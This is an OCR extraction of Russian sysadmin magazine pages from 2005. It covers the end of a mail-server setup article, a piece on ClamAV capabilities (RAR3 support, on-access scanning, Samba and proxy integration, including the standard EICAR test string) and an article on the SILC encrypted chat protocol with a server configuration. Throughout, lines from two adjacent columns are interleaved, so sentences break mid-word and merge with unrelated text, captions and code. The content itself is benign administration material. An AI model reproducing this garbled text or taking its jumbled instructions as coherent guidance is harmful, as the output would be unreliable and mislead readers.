Настройка веб-интерфейса и его пароль (password). Строка «to * here» говорит серви-
Теперь необходимо предоставить доступ пользователям к су, что полученную почту необходимо передавать локаль-
почте. Есть два варианта: ному SMTP-серверу.
! Через порты (143 IMAP/110 POP3). Клиент может рабо- Теперь на файл /etc/fetchmailrc надо назначить необхо-
тать с почтой через почтовые программы, например, димые права доступа. Утилита fetchmail довольно чувстви-
The BAT!, Outlook Express. тельна к изменению прав на этот файл, и не запускается,
! Через веб-интерфейс. Клиент работает с почтой через если не выставлены необходимые права доступа. По умол-
веб-интерфейс. чанию владелец этого файла root. Изменяем его на поль-
зователя fetchmail:
Второй способ более надежен, так как доступ к сете-
вым портам открыт только с локальной машины. В данном # chown fetchmail:fetchmail /etc/fetchmailrc
проекте для доступа к почте используется SquirrelMail.
При установке файлы программы копируются в каталог Права на этот файл должны быть следующими: владе-
с веб-содержимым. Если пакет был установлен из архи- лец может выполнять любые операции, группа – только за-
ва, взятого на сайте разработчика, то конфигурацион- пускать на выполнение:
ный файл SquirrelMail хранится в подкаталоге config паке-
та. Разработчики ALM немного усовершенствовали пакет. # chmod 710 /etc/fetchmailrc
Поэтому если SquirrelMail установлен из репозитария ALM,
то конфигурационный файл хранится в подкаталоге /etc/ Примечание: после внесения изменений в конфигура-
squirrelmail. А в подкаталоге config находится только сим- ционные файлы какого-либо сервиса, для того чтобы из-
волическая ссылка на файл. Однако файл править нет не- менения вступили в силу, необходимо его перезапустить.
обходимости, так как разработчики пакета предусмотрели Для этого дается команда:
скрипт на языке Perl.
Запуская скрипт, мы интерактивно настраиваем все па- # service имя _ сервиса restart
раметры. Скрипт называется config.pl, и находится он в под-
каталоге config. Перечень всех сервисов можно посмотреть в катало-
После запуска скрипта раскрывается меню. Настройки, ге /etc/rc.d/init.d.
касающиеся доступа к IMAP-серверу, отображаются после В данной статье рассмотрено конфигурирование толь-
выбора второго пункта меню (Server Settings). Здесь указы- ко самых необходимых компонентов. При желании вы мо-
вается обслуживаемый домен (net.lps), доменное имя хос- жете увеличить функциональность почтового сервера,
та IMAP-сервера (localhost), а также конкретное название добавляя дополнительные модули (например, антивирус
IMAP-сервера (courier). и спам-фильтр).

№9, сентябрь 2005 51


безопасность

ВСЕ ЛИ ВОЗМОЖНОСТИ Clam


lamAV
AV
ВЫ ИСПОЛЬЗУЕТЕ?

АНДРЕЙ АВРАМЕНКО
Антивирусная защита – одна из непосредственных и повседневных задач системного
администратора. Чтобы её обеспечить, требуется установить антивирусные пакеты с функцией
мониторинга на пользовательских компьютерах, обучить персонал, регулярно проверять все
жесткие диски «вручную». Но, как правило, наиболее эффективным и простым в обслуживании
является блокировка вирусов на сервере.

C
lamAV – антивирусная система, распространяемая ятельно. Я выбираю последний вариант. На Opennet.ru бы-
под лицензией GPL. Постоянные обновления про- ли представлены несколько статей на эту тему, но ни од-
граммы и базы вирусов (не реже чем 3 раза в неде- на не смогла служить точным руководством, так или иначе
лю) дают понять, что проект активно поддерживается раз- возникали проблемы. Сборка проходила с ClamAV 0.86.2,
работчиками из многих стран. Его возможности гораздо ши- libunrar 3.4.3.
ре, чем простое сканирование файлов на вирусы, об этом Скачиваем исходные тексты libunrar с ftp://ftp.rarlab.com/
и пойдет сегодня речь. rar/unrarsrc-3.4.3.tar.gz. Скачиваем и применяем патч: http://
mcmcc.bat.ru/clamav/unrar-3.4.3_fix.patch:
Установка и конфигурирование
Об установке антивируса под различными операционны- # cd unrar
# patch -p1 < unrar-3.4.3 _ Þx.patch
ми системами уже писалось в предыдущих номерах жур- # make -f makeÞle.unix lib
нала, но я хотел бы добавить несколько слов о возможнос- # install -s -D -m 755 libunrar3.so /usr/lib/libunrar3.so
# install -D -m 644 dll.hpp /usr/include/libunrar3/dll.hpp
тях проверки RAR v3-архивов. До сих пор эта возможность
не реализована в официальных версиях из-за проблем с
лицензированием. Разработчики обещают, что в следую- Наложить исправление для версии 0.84, которое рас-
щих версиях это будет исправлено, но пока нам остается положено на том же сайте, у меня не получилось. Заплат-
либо ждать, либо добавить данную возможность самосто- ку пришлось немного подредактировать. Скачать ее мож-

52
безопасность
но на сайте журнала http://www.samag.ru в разделе «Ис- ке был случай, ког-
ходный код». да ClamAV находил
вирус Oversided.zip
# cd clamav-0.86.2 в zip-архивах. При
# patch -p1 < clamav.086.2-libunrar3.patch
# aclocal распаковке архивов
# autoconf антивирусная сис-
# automake
# ./conÞgure тема считала фай-
# make лы неинфицирован-
# make install
ными. Мы прово-
Для установки в ОС Linux я создал RPM и SRPM-паке- дили специальную Рисунок 1. Результат тестирования
ты. Их можно скачать там же. проверку запако- установленного антивируса
После установки есть смысл проверить работоспособ- ванных файлов аль-
ность сканера. Для этого в исходных текстах существует тернативными про-
папка test. Зайдем в нее и выполним: дуктами – вирусы
найдены не были.
# clamscan * При обнаруже-
нии вируса clamscan
Результат должен быть примерно следующим (см. рис. 1): отобразит это в ста- Рисунок 2. Пример обнаружения вируса
Если в каком-то файле не найден вирус, то вы невнима- тистике сканирования (см. рис. 2).
тельно следили за сообщениями скрипта configure. Напри- Регулярность полного сканирования файловой систе-
мер, если вирус не найден в архиве clam.exe.bz2, то скорее мы сервера на вирусы зависит от нескольких параметров,
всего у вас не установлен пакет bzlib-devel. таких как ресурсы сервера, предоставляемые сервисы,
Для тестирования можно также использовать тестовую требуемая надежность и т. п. Вы сами должны выбрать не-
вирусную сигнатуру, доступную по адресу: http://www.eicar. обходимую частоту. Некоторые специалисты рекоменду-
com/anti_virus_test_file.htm: ют запуск сканирования из cron по расписанию, хотя это
и небезопасно, так как для этой программы не редкостью
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS- ↵ является подверженность отказу от обслуживания, прав-
TEST-FILE!$H+H*
да, эти проблемы вовремя устраняются разработчиками в
Ее необходимо сохранить в какой-то файл, например очередных версиях.
virus.txt, затем проверить запуском команды Если необходима дополнительная функциональность,
такая как on-access-проверка файлов или интеграция с MTA,
# clamscan virus.txt то требуется запуск демона clamd. Для этого необходимо
отредактировать конфигурационный файл clamd.conf.
В папке test отсутствуют файлы, запакованные rar3, Если необходимо, чтобы сканирование проходило с ис-
поэтому для проверки этой функциональности необходи- пользованием демона clamd, нужно воспользоваться коман-
мо создать архив с тестовой вирусной сигнатурой само- дой clamdscan. Она является урезанной версией clamscan.
стоятельно. После нахождения вируса clamd создаст соответствующую
запись в лог-файле и выполнит определенное администра-
Возможности тором действие (если данные опции включены в clamd.conf).
Рассматриваемая антивирусная система имеет широкие Также этот способ сканирования более удобен при исполь-
возможности, но большинство системных администрато- зовании проверки по расписанию.
ров использует только некоторые из них, необходимые для
решения какой-то определенной задачи. Автоматическое обновление
База вирусов регулярно обновляется. Для обновления ис-
Сканирование файлов с помощью ClamAV пользуется программа freshclam, которая берет настройки
Сканирование производится командой clamscan. Для эф- из конфигурационного файла freshclam.conf.
фективности можно вводить дополнительные параметры, Для автоматического обновления достаточно поместить
например: простой скрипт в cron:
! clamscan -r /directory – рекурсивное сканирование, т.е.
сканирование в подкаталогах; # !/bin/sh
freshclam
! clamscan -i – показывать только инфицированные фай-
лы;
! clamscan -move=/infected_files_dir – перемещение инфи- Clamav-milter – сканирование почты на вирусы
цированных файлов в отдельную директорию; Для интеграции ClamAV с MTA необходимо выполнить:
! clamscan -remove – удаление инфицированных фай-
лов. # ./conÞgure --enable-milter

Последний параметр я не рекомендую использовать, На данный момент ClamAV поддерживает множество


т.к. не редкость когда ClamAV ошибается. В моей практи- различных интерфейсов к MTA: amavisd-new, amavisd-ng,

№9, сентябрь 2005 53


безопасность
CommunyGate Pro (модуль cgpav), Courier (модуль ClamCour), осуществляется с помощью ClamAV, Kaspersky AntiVirus,
postfix (модули clamfilter, clamSMTP, clapf), exim (патч Symantec AntiVirus Engine и некоторых других.
exiscan), qmail (модуль Gadoyanvirus), hMailServer, sendmail Данный проект отличается от предыдущего тем, что нет
(модуль j-chkmail, mailness), MailAvenger и многие другие. необходимости подключать дополнительные модули ядра
и не проводится локальная проверка файлов.
On-access сканер вирусов – Clamuko Установка для Samba версий 2.2.4 и выше отличается.
Одна из великолепных возможностей, которая реализова- Я не стану описывать установку для старых версий и оста-
на в ClamAV – Clamuko – сканирование файлов при попыт- новлюсь на Samba 3.
ке их чтения или запуска. Она реализована с помощью мо- Для того чтобы установить samba-vscan, вам потребу-
дуля ядра Dazuko. Когда я говорю о возможности провер- ются исходные тексты Samba: скачиваем, разархивиру-
ки файлов при чтении, многие системные администраторы ем, заходим:
говорят, что это лишнее – вирусы в UNIX не живут. Это со-
вершенно неверно, см. статью Криса Касперски о вирусах # ./conÞgure
# make proto
в UNIX [6]. Также данный вид проверки файлов подходит
для файловых серверов. Я использую в своей локальной Скачиваем исходники samba-vscan, я использовал:
сети сервер с ОС Linux ALT Master 2.4 в качестве основного http://www.openantivirus.org/snapshots/samba3-vscan-0.4.0-
контроллера домена на базе Samba 3.0.14. Я ввел проверку snapshot1.tar.gz.
перемещаемых профилей и общей сетевой папки. Разархивируем, копируем в каталог исходных текстов
Результаты небольшого тестирования скорости: Samba командой:
1) копирование двух файлов общим размером 72 Мб:
! без проверки антивирусом – 1,5 секунды; # cp -ra samba-vscan-версия ↵
путь _ к _ исходникам _ Samba/examples/VFS
! с проверкой антивирусом – 45 секунд; # cd путь _ к _ исходникам _ Samba/examples/VFS/ ↵
2) копирование 60 файлов общим размером 3 Мб: samba-vscan-версия
! без проверки антивирусом – менее секунды; # ./conÞgure
! с проверкой антивирусом – 3 секунды; # gmake
# gmake install
3) копирование 540 файлов общим размером 24 Мб: # cp -a clamav/vscan-clamav.conf /etc/samba
! без проверки антивирусом – 1 секунда;
! с проверкой антивирусом – 7 секунд. Далее правим конфигурационный файл smb.conf. Вы-
бираем ресурс, который будет проверяться антивирусом,
Из этого небольшого теста можно сделать вывод, что например:
задержка при проверке файлов сильно растет с увеличе-
нием размера файлов. При проверке документов задерж- [vscan-directory]
comment = virus-protected directory
ка практически незаметна, даже если общий размер фай- path = /tmp
лов достаточно большой. vfs object = vscan-oav
vscan-clamav: conÞg-Þle = /etc/samba/vscan-clamav.conf
Для установки модуля dazuko необходимо скачать пос- writeable = yes
леднюю версию с официального сайта, разархивировать browseable = yes
guest ok = yes
и выполнить:
Наиболее распространенные опции:
# make ! max file size = <value> – максимальный размер проверя-
емого файла.
В Linux: ! verbose file logging = <boolean> – протоколировать ре-
! для версии ядра Linux 2.2-2.4: зультаты проверки файлов. Если 1 – то все проверяе-
мые файлы, если 0 – только инфицированные.
# insmod dazuko.o
# mknod -m 600 /dev/dazuko c `grep dazuko ↵
! scan on open = <boolean> – проверка при открытии фай-
/proc/devices | sed "s/ .*//"` 0 ла.
! scan on close = <boolean> – проверка при закрытии фай-
! для версии ядра Linux 2.6: ла.
! send warning message = <boolean> – отсылать winpopup
# insmod dazuko.ko сообщение клиенту при обнаружении вируса.
# mknod -m 600 /dev/dazuko c `grep dazuko ↵
/proc/devices | sed "s/ .*//"` 0 ! infected file action = <quarantine|delete|nothing> – переме-
щать в директорию «на карантин», удалять или только
Во FreeBSD: информировать.
! quarantine directory = <string> – директория для переме-
# /sbin/kldload ./dazuko.ko щения файла «на карантин».
# mknod /dev/dazuko c 33 0
! exclude file types = <string> – исключить проверку следу-
ющих типов файлов.
Samba-vscan – защита файлового сервера
Данный проект от OpenAntiVirus создает расширение к фай- Перед запуском просмотрите /etc/samba/vscan-clamav.
ловому серверу Samba – проверка на вирусы, которая conf. Мне пришлось добавить в него:

54
безопасность
clamd socket name = /var/lib/clamav/clamd.socket

Проблема как этой, так и предыдущей реализации on-


access-сканирования при работе с Windows-клиентами –
задержка при переходе между директориями. Дело в том,
что windows упорно пытается найти значки в самих фай-
лах, поэтому идет запрос на открытие файла. Антивирус-
ная система, а точнее модули on-access сканирования не
разбирают тип запроса и выполняют проверку при каждой
попытке просмотреть значок. Из-за этого задержки меж- Рисунок 3. Графический интерфейс KlamAV
ду переходами по каталогам становятся заметны для ко-
нечных пользователей. Решением данной проблемы в пос-
леднем случае мог бы быть демон кэширования запросов
firewall – vscancs от проекта OpenAntiVirus. Это программа,
благодаря которой, не происходит сканирование файлов,
не изменившихся после предыдущей проверки. Но дело
в том, что она находится на стадии разработки и выпуще-
на только альфа-версия.

Антивирусная проверка на прокси-сервере


Существует несколько решений для блокировки файлов
на прокси-сервере, основанные на антивирусе ClamAV,
некоторые из них были описаны в июльском номере жур-
нала [7].
! DansGuradian – прокси-сервер, который использует в ка-
честве «веб-браузера» squid или oops. Его возможнос-
ти как прокси-сервера достаточно скудны, но антиви- Рисунок 4. Внешний вид ClamWin
русная защита и блокировка нежелательного контента ClamWin – антивирусное решение для Windows-систем.
организована хорошо. После блокировки пользовате- Первоначально ClamAV писался для ОС семейства UNIX,
лю показывается страница, на которой указана причи- впоследствии он был адаптирован и к ОС Windows, запус-
на блокировки. Аналогом DansGuardian является HAVP. каясь в эмуляторе cygwin. В отличие от UNIX-версии возмож-
Он также может использовать squid, но может выступать ности его более скудны. Вот уже долгое время разработчи-
и как отдельный прокси-сервер. ки обещают реализовать возможность on-access-сканирова-
! SquidClamAV Redirector – программа, написанная на язы- ния файлов, но пока результата нет. Мультиязыковой подде-
ке программирования python, которая позволяет скани- ржки пока тоже нет, есть только перевод на некоторые языки
ровать файлы с определенными расширениями, зака- «добровольцами». В целом программа предоставляет прос-
чиваемые через прокси-сервер squid. той дружественный пользователю интерфейс (см. рис. 4).
! squid_vscan – очередное решение от проекта OpenAn-
tiVirus. Это пакет исправлений для squid, позволяющий Заключение
включить антивирусную проверку. Открытый исходный код ClamAV дает возможность про-
граммистам создавать новые проекты на базе этой ан-
Snort-inline + ClamAV тивирусной системы, что существенно сказывается на ее
В некоторых случаях необходима проверка данных, переда- популярности. В сравнении с коммерческими продуктами
ваемых по определенному протоколу. Идеальным решени- есть один проигрыш – отсутствие эвристического анали-
ем данной проблемы является snort_inline. Это расширение за, хочется надеяться, что когда-нибудь эта функция бу-
системы обнаружения атак snort, которое позволяет блоки- дет добавлена.
ровать данные, содержащие вирусы, используя iptables.
Литература, ссылки:
Графические интерфейсы 1. http://www.clamav.net.
Существует огромное количество графических интерфей- 2. http://www.clamwin.net .
сов для данной антивирусной системы: AVScan, BeClam, 3. http://mcmcc.bat.ru/clam_rar3.html.
Clamaktion, ClamShell, ClamTk, clamXav, FETCAV, KlamAV, 4. http://www.openantivirus.org.
QtClamAVclient, wbmclamav. Наиболее функциональным 5. http://www.dazuko.org.
графическим интерфейсом для KDE является KlamAV 6. Касперски К. Вирусы в UNIX, или Гибель «Титаника» II. –
(см. рис. 3). Журнал «Системный администратор», №1, 2004 г. –
Он позволяет on-access-сканирование, сканирова- 6-23 с.
ние вручную, введение карантина для зараженных фай- 7. Авраменко А. DansGuardian + ClamAV: фильтруем веб-
лов, автоматическое обновление, проверка почты (Kmail/ содержимое и строим антивирусную защиту. – Журнал
Evolution). «Системный администратор», №7, 2005 г. – 6-8 с.

№9, сентябрь 2005 55


безопасность

ПРОТОКОЛ SILC ОБЕСПЕЧИТ ВАМ


БЕЗОПАСНУЮ КОНФЕРЕНЦ-СВЯЗЬ

СЕРГЕЙ ЯРЕМЧУК
Передача информации надежно защищена виртуальными частными сетями, почта передается
в зашифрованном виде, доступ к закрытым данным на веб-сервере компании организован
исключительно при помощи https. Все сделано? Нет, не все.

56
безопасность

С
овременный бизнес невоз- лательных частных и канальных сооб- между клиентом и сервером, серве-
можно представить без совре- щений и прочее). Более того, совпа- ром и сервером, и между клиентами
менных технологий. Мобиль- дают даже основные команды (всего в приватной беседе при помощи шиф-
ная связь и электронная почта при- SILC поддерживает около 30 команд). ров AES, twofish, CAST, serpent, rc6
шли на смену селекторным совеща- Но на этом все сходство в принципе и mars с использованием CBC и CTR.
ниям. Хорошо в эту группу вписались и заканчивается. Основное различие По умолчанию используется длина
и средства обмена сообщениями, под- между ними – защита передаваемой ключа 256 бит, опционально можно вы-
держивающие различные протоко- информации в SILC. Причем шифрова- ставить 192 и 128. Протокол SILC име-
лы AIM, ICQ, Yahoo, MSN, IRC, Jabber, ние – это базовая часть протокола, а не ет собственный открытый ключ SILC,
Zephyr и даже такой малоизвестный, опциональная функциональность, ко- но также поддерживает открытые
как Gadu-Gadu. Правда, у нас наиболь- торую можно отключать. Так сказать, ключи SSH2, сертификаты OpenPGP,
шей популярностью пользуются ICQ, security by default. Особенно отмечу, X.509 и SPKI.
Jabber и IRC. что SILC основан не на IRC и они не- В качестве открытого ключа SILC,
Но если сервер, реализующий один совместимы между собой. который, правда, не сертифицирован
из этих протоколов, стоит внутри кон- Идея протокола принадлежит Пека и спецификация не определяет обще-
тролируемой администратором сети, Риконену (Pekka Riikonen), начало ра- ственную ключевую инфраструктуру,
еще можно избежать проблем. А вот бот датировано 1996 годом. До выхода используются ключи RSA или DSS,
когда пользователь вынужден общать- первой версии, включавшей клиента и включающие информацию об имени
ся с офисом с чужого компьютера, на- тестовый сервер, поддерживавшие ал- узла, имени пользователя, реальном
пример из интернет-кафе, в этом слу- горитмы шифрования RSA и 3DES код имени и др.
чае весь разговор можно свободно был переписан заново три раза. Рабо- Впрочем, разработчики открыты
перехватить. Кроме того, известны и тало это все из рук вон плохо. Генера- для общения, и при необходимости
атаки, использующие средства обме- тор случайных чисел, взятый с RNG, могут быть добавлены другие алго-
на сообщениями [1]. Конечно, некото- используемого в SSH, переписывал- ритмы и шифры.
рые реализации поддерживают шиф- ся два раза. Работа постоянно оста- Шифруются все сообщения, пос-
рование, и в этом случае можно избе- навливалась. Но все равно в 1998 го- ланные другим пользователям и ка-
жать проблем. Например, Jabber может ду была добавлена поддержка алго- налам, пароли, команды и уведомле-
быть настроен с поддержкой SSL для ритма ElGamal, а код был переписан ния. Передача незащищенных сооб-
обмена между клиентом и сервером, на C++. Хотя в следующем году код щений не предусмотрена. Протокол
плюс немало клиентов поддержива- опять переписывается на С, основ- разрабатывался с четким понимани-
ют шифрование с помощью GPG внут- ные части протокола перерабатыва- ем механизмов наиболее распростра-
ри протокола. Но при этом очень часто ются и спецификация подается в IETF ненных атак, поэтому известные пас-
кодируются только данные, передава- (Internet Engineering Task Force – http:// сивные и активные атаки (man-in-the-
емые в сообщении, и только в тех се- www.ietf.org). И как результат летом middle, повторение, подмена IP и пр.)
тях, где используется шифрование, ос- 2000 года протокол представлен об- будут неэффективны. Транспортный
тавляя открытой работу в других се- щественности. С тех пор была проде- уровень защищен с гарантией под-
тях. Опускаются аутентификация со- лана большая работа как по усовер- линности закодированных пакетов,
общения и пакета, управление клю- шенствованию протокола, так и по раз- использованием кода аутентифика-
чами и другие немаловажные вопро- работке софта, протокол получил при- ции сообщения (Message Authentication
сы безопасности. Все это вместе со- знание. SILC распространяется по ли- Codes – МАС), с применением алгорит-
здает больше иллюзию безопаснос- цензии GNU GPL. мов hmac-sha1-96, hmac-md5-96, hmac-
ти. Но если необходимы многополь- sha1, hmac-md5. При этом использует-
зовательские конференции, то здесь Что предлагает SILC? ся метод Encrypt-Then-MAC, когда со-
альтернативы IRC (Internet Relay Chat) Учитывая, что SILC появился на десять общение шифруется и затем вычисля-
практически нет. А вот при настрой- лет позже IRC, у его разработчиков бы- ется МАС, включающий и номер пос-
ке серверов IRC разговор о шифрова- ла возможность поучиться на чужих ледовательности. Вектор инициали-
нии, как правило, не идет [2] по изло- ошибках и учесть неудачные решения. зации (IV), использованный в шифро-
женным выше причинам. Поэтому SILC обеспечивает более бо- вании, по умолчанию не включен в за-
гатый набор характеристик и является шифрованный текст.
Протокол SILC самым удобным протоколом для обще- Ключи генерируются протоколом
Основной идеей протокола SILC ния пользователей из используемых SILC Key Exchange (SKE), являющим-
(Secure Internet Live Conferencing) яв- в настоящее время. Но на первом мес- ся частью протокола SILC. SKE исполь-
ляется обеспечение безопасностного те у нас безопасность, поэтому с нее зует цифровую подпись и алгоритм об-
общения по незащищенным каналам. и начнем. Хотя стоит, наверное, отме- мена ключей Diffie-Hellman (с группа-
В общем случае SILC очень похож в ис- тить, что разработчики не изобретали ми 1024, 1536 и 2048 бит). Заголовки
пользовании на IRC, вплоть до совпа- велосипед и все решения в общем-то и данные кодируются сеансовыми клю-
дения основных характеристик (име- традиционные. чами, а канальные и частные сообще-
на, каналы, частные сообщения, по- Протокол обеспечивает защи- ния кодируются специфическими клю-
иск пользователя, блокировка неже- щенную передачу и аутентификацию чами. Каждый канал использует такой

№9, сентябрь 2005 57


безопасность
ключ (channel specific keys), которым кодируются и подписы- веры также имеют различия. Маршрутизатор владеет гло-
ваются все канальные сообщения. Сеансовые и канальные бальной информацией, серверы сохраняют только локаль-
ключи сервер может периодически регенерировать. Также ную. Сеть поддерживает также и резервные маршрутизато-
канал имеет свой способ аутентификации, основанный на ры (обычно это сервера, берущие на себя эту обязанность
имени или ключе. при отсутствии основного маршрутизатора).
Частные сообщения по умолчанию обеспечиваются се- Подобный протокол в настоящее время трудно пред-
ансовыми ключами, но они могут также использовать спе- ставить без возможности передачи файлов между поль-
цифические ключи частного сообщения (private message зователями, поэтому такая функция изначально заложена
specific keys), которые можно получить, выполнив SKE и в SILC. Встроенным протоколом, применяемым для пере-
между двумя пользователями сети SILC. Полученные при дачи файлов, является SFTP (Secure FTP), хотя разработ-
этом ключи могут быть использованы для кодирования чики при необходимости готовы добавить любой другой.
частных сообщений или при передаче файлов. Эти сооб- Весь поток при передаче, естественно, шифруется.
щения смогут прочитать только передатчик и получатель, Но это еще не все. Спецификации протокола не ограни-
но так как сервер не знает об используемых при этом клю- чивают тип передаваемых сообщений. Поэтому кроме тек-
чах, то не сможет их регенерировать, об этом должны за- стовых сообщений можно передавать MIME, видео- или ау-
ботиться сами пользователи. Можно использовать част- диоинформацию. Дополнительные сервисы позволяют рас-
ные ключи, сгенерированные за пределами конкретной се- ширить возможности протокола без потери обратной сов-
ти SILC. Все сообщения могут быть подписаны. Для умень- местимости. Например, сервис может оставлять сообщения
шения размера пакета их можно сжимать. для detaching клиенту, которые будут отданы, когда клиент
Учитывая, что ключ пользователя играет при аутентифи- «вернется» . К сообщениям могут добавляться флаги, ука-
кации далеко не последнюю роль, в SILC удалось реализо- зывающие на то, как оно должно быть интерпретировано
вать то, что просто невозможно представить в IRC – здесь на стороне получателя.
имя пользователя может быть не уникальным. Хотите быть
Васей, без проблем. И хотя сервер может знать уже сотню Утилиты для работы с SILC
Вась, в регистрации отказано не будет (если имя не пре- На сайте проекта доступно несколько утилит:
вышает 128 байт, на имя канала отводится 256 байт). Цен- ! Сервер SILC – позволяет развертывать свои сети,
трализованные сервисы, регистрирующие имена, в случае как общественные, включенные в общую структуру,
с SILC не нужны. Пользователь отличается от других таких так и внутренние. Поддерживает все возможности про-
же пользователей его реальным именем, именем пользо- токола, работает только под UNIX-системами.
вателя в системе, именем узла и наконец fingerprint его пуб- ! SILC Map – полезная утилита, показывающая тополо-
личного ключа. Правда, здесь же выплывает другая пробле- гию сети SILC, создает карты, позволяющие получить
ма. Можно перепутать Васю-менеджера с Васей-директо- полную информацию о серверах и маршрутизаторах
ром и рассказать ему все, что думаешь о начальстве. По- одним щелчком мыши.
этому лучше перед выходом в приват убедиться при по- ! SILC Client – де-факто клиент сети SILC, поддерживает
мощи команды WHOIS, с кем действительно имеешь де- все нововведения, легкий, работает в консоли, имеют-
ло. Недавно сервер, а затем и клиенты начали полностью ся версии для нескольких систем.
поддерживать UTF-8 не только для текстовых сообщений, ! SILC Gaim – графический клиент SILC.
но и для ников и имен каналов, поэтому проблем с выбо- ! SILC Toolkit и SILC Autodist – две утилиты, предназна-
ром имени быть не должно. ченные для разработчиков. Первая ориентирована
Протокол SILC поддерживает услугу, называемую на программных и прикладных разработчиков, желаю-
detaching (по умолчанию она активирована). Пользователь щих внедрить поддержку SILC в свои продукты. Вторая
может отсоединиться от сервера, например, для того чтобы представляет собой систему управления и ориентиро-
установить связь с другим сервером, но у других создает- вана на большие проекты.
ся иллюзия присутствия. Клиентов можно добавлять в свой
watch list. При этом будет доступна информация о регистра- Кроме того, на странице http://silcnet.org/community/links
ции, выходе пользователя, смене имени, других регистра- можно получить информацию о продуктах сторонних раз-
ционных данных и ключах. Это удобно, так как в дальней- работчиков.
шем не придется разыскивать пользователя, если он вдруг Еще пару слов о клиентах. Предлагаемый проектом
решит сменить ник. Пользователь может запретить кому- SILC Client на самом деле включает две утилиты, предна-
либо отслеживать его. значеные для общения в сети SILC. Сам silc и irssi с плаги-
Сетевая топология SILC также отличается от традици- ном (http://irssi.org, плагин – http://penguin-breeder.org/silc).
онной древовидной, принятой в подобных протоколах. Сеть Но они могут заинтересовать только администратора, ря-
SILC формирует так называемую гибридную кольцевую сет- довой пользовать без GUI жить не сможет. В более удоб-
чатую сеть на уровне маршрутизатора и сеть типа «звез- ный графический клиент Gaim поддержка SILC включена,
да» на уровне серверов. Такая сетевая топология имеет начиная с версии 0.78, но в дистрибутивах он может быть
лучшую масштабируемость и обеспечивает более быструю собран без нее. В этом случае придется заняться его сбор-
доставку пакетов. В случае же компрометации отдельного кой самостоятельно. Кроме них можно посмотреть на Silky
участка его можно просто отключить, пока администрато- (http://silky.sourceforge.net). Это довольно удобный кли-
ры не разберутся с проблемами. Маршрутизаторы и сер- ент с GTK2-интерфейсом, распространяющийся в исход-

58
безопасность
ных кодах и работающий кроме UNIX-подобных систем ля nobody, как и большинство других серверов, работаю-
и на Windows NT4/2000/XP (Windows 3.11/95/98/ME и CE щих на компьютере, поэтому достаточно просто убедиться,
он не поддерживает). На пользователей MacOS X ориенти- что такой пользователь в системе существует.
рован Colloquy (http://colloquy.info), поддерживающий и IRC. При загрузке сервер считывает конфигурационный
Список доступных серверов и маршрутизаторов SILC мож- файл silcd.conf, находящийся в нашем случае в /etc/silc.
но получить на странице http://silcnet.org/network. При выбо- Некоторые опции обязательны, другие дополнительные,
ре адреса silc.silcnet.org вы будете подключены к ближай- и их можно не трогать.
шему серверу. По умолчанию сервер ожидает подключе-
ние клиентов на 706 порту. # silcd.conf

# Этой строкой подключается файл, в котором описаны


Установка сервера #
#
алгоритмы шифрования и прочее, что связано с закрытием
информации. Система настроена на максимальную
Наконец мы приблизились к главной цели статьи – уста- # безопасность, поэтому в сам файл лучше не лезть
новке сервера SILC. При написании статьи использовался
Include "/etc/silc/silcalgs.conf";
ALTLinux 2.4 Master, но я провел тест и на OpenBSD. Стоит
упомянуть, что для FreeBSD доступны порты silc-client silc- # General conÞguration options
server silky. В принципе сервер настолько прост в установ- # Поведение сервера по умолчанию, некоторые параметры
ке и настройке, что с этим процессом без труда справит- # могут быть переопределены в ConnectionParams
General {
ся начинающий администратор, установивший пару-дру-
гую систем. module _ path = "/usr/local/silc/modules";
Скачиваем архив, распаковываем и конфигурируем. # Если используется аутентификация по паролю или
# по открытому ключу, преимущество имеет аутентификация
# по открытому ключу. При снятии комментария
# tar xvjf silc-server-1.0.tar.bz2 # преимущество будет иметь пароль
# cd silc-server-1.0 # prefer _ passphrase _ auth = true;
В большинстве случаев можно обойтись без каких-либо # Включает проверку (FQDN) для входящих соединений
опций конфигурирования, но я люблю, когда все настрой- # require _ reverse _ lookup = true;
ки хранятся в /etc. # Максимальное количество соединений, принимаемых
# сервером, и с одного узла можно переопределить
# ConnectionParams.
$ ./conÞgure --sysconfdir=/etc/silc connections _ max = 1000;
#connections _ max _ per _ host = 10;
В конце скрипт выдаст итоговую информацию. # Интервал смены ключей соединения и канала
#key _ exchange _ rekey = 3600;
silc-server Configuration Summary: #channel _ rekey _ secs = 3600;
---------------------------
Target host ...................: i686-pc-linux-gnu # Включение смены ключей по более медленному,
Compiler ......................: gcc # но безопасному протоколу Perfect Forward Secrecy (PFS)
CFLAGS ........................: -g -O2 -Wall -finline-functions -D_REENTRANT #key _ exchange _ pfs = true;
LDFLAGS .......................:
LIBS ..........................: -ldl -lpthread
# Время, по истечении которого закрывается
Installation prefix ...........: /usr/local/silc # соединение при неудаче смены ключей
bin directory .................: /usr/local/silc/bin #key _ exchange _ timeout = 60;
sbin directory ................: /usr/local/silc/sbin
etc directory .................: /etc/silc # Ограничение количества каналов, к которым может
man directory .................: /usr/local/silc/man # присоединиться клиент (по умолчанию 50).
doc directory .................: /usr/local/silc/doc #channel _ join _ limit = 100;
SIM directory .................: /usr/local/silc/modules
include directory .............: /usr/local/silc/include
};
Compile SILC Server ...........: yes
SIM support ...................: yes # Server information
IPv6 support ..................: yes ServerInfo {
Iconv support .................: yes # Имя сервера (FQDN)
Assembler optimizations .......: yes hostname = "silctest.com";
Multi-threads support .........: yes
Debugging enabled .............: no # Первичный адрес и порт, на котором сервер будет
# принимать соединения.
Compile the sources with 'make' or 'gmake' command. Primary {
$gmake
#make install
ip = "192.168.0.1";
................. port = 706;
Generating RSA Public and Private keys, might take a while... };
Finding p: .................................
Finding q: ... # Другие интерфейсы прописываются отдельно.
Keys generated successfully. #Secondary { ip = "10.2.1.60"; port = 706; };
Public key has been saved into `/etc/silc/silcd.pub'. #Secondary { ip = "10.2.1.160"; port = 706; };
Private key has been saved into `/etc/silc/silcd.prv'.
................. # Описание сервера
ServerType = "Test Server";
Сервер генерирует пару ключей и записывает их в ка- Location = "Rovno, Ukraine";
талог с конфигурационными файлами. В документации
# Имя администратора, e-mail администратора
на сайте, датированной 2003 годом, указано, что для за- Admin = "Sergej A. Jaremchuk";
пуска сервера необходимо создать отдельного пользова- AdminEmail = "admin@silctest.com";
теля и группу, от имени которогоон и будет работать. Сей- # Пользователь и группа, от имени которого будет
час по умолчанию он запускается от имени пользовате- # работать сервер

№9, сентябрь 2005 59


безопасность
User = "nobody"; Nick = "grinder";
Group = "nobody"; # Passphrase = "verysecret";
PublicKey = "/usr/local/silc/admin.pub";
# Местонахождение открытого и закрытого ключей };
PublicKey = "/etc/silc/silcd.pub";
